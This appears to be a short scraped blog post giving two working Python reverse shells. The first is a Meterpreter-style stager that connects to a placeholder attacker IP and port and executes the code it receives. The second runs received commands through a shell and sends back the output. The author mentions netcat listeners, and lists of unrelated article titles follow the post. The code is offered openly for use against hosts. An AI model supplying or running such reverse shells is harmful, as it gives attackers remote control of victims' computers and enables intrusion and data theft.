import base64,sys;
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('Attack's IP address',ListenerPort))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})

You can change the IP/DNS and listener port what you want.
Let's test it!

Start a listener:

Execute the shell:

I also found a reverse shell on the Intetnet.

#!/usr/bin/python
# imports here
import socket,subprocess
HOST = 'Attack's IP adress'
PORT = ListenerPort
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()

But this one can not listen by meterpreter

We can use the netcat to get a shell.

最新文章

  1. Leetcode Simplify Path
  2. tomcat gzip compression not working for large js files
  3. 主机使用代理上网,虚拟机Linux如何连外网
  4. JS中的闭包
  5. Java遇见HTML——JSP篇之JSP状态管理
  6. source insight用于C语言编程的工具脚本
  7. php in_array 和 str_replace
  8. ubuntu16.04下源码安装onos1.0.2
  9. QButtonGroup按钮组
  10. 安装VS2010时出现进入的图标没有与需要部分升级VS10Sp1-KB983509的解决方案
  11. python数据类型之列表类型
  12. js获取浏览器内核判断终端(是QQ打开还是QQ浏览器打开)
  13. MySQL 基础八 用户管理
  14. 具有键“XXX”的 ViewData 项属于类型“System.Int32”,但它必须属于类型“IEnumerable&lt;SelectListItem&gt;
  15. Hibernate的集合一对多与多对一
  16. vim自动缩进设置
  17. C#基础复习(2) 之 装箱拆箱
  18. winform dataGridView DataGridViewComboBoxColumn 下拉框事件
  19. Meta Blogging
  20. 雷林鹏分享:Ruby 正则表达式

热门文章

  1. C#Redis列表List
  2. Linux学习-文件和目录管理 
  3. 深入.NET平台和C#编程
  4. hdu 1536 S-Nim (简单sg函数)
  5. java基础3
  6. db2 常用配置
  7. [DP之普通系列]
  8. JDBC:四步完成MySQL数据库的连接
  9. iOS错误之-Presenting view controllers on detached view controllers is discouraged
  10. HDOJ-1051 Wooden sticks(贪心)